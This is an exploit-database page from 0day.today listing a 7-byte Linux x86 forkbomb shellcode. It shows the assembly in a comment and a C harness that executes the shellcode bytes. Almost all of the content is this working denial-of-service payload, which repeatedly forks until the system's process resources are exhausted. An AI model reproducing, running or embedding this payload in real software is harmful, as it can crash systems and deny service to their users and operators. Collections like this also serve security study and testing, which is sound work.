[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

linux/x86 forkbomb 7 bytes

Author
Kris Katterjohn
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-7185
Category
shellcode
Date add
17-11-2006
Platform
linux/x86
==========================
linux/x86 forkbomb 7 bytes
==========================



/* By Kris Katterjohn 8/29/2006
 *
 * 7 byte shellcode for a forkbomb
 *
 *
 *
 * section .text
 *
 *      global _start
 *
 * _start:
 *      push byte 2
 *      pop eax
 *      int 0x80
 *      jmp short _start
 */

main()
{
       char shellcode[] = "\x6a\x02\x58\xcd\x80\xeb\xf9";

       (*(void (*)()) shellcode)();
}



#  0day.today [2024-12-25]  #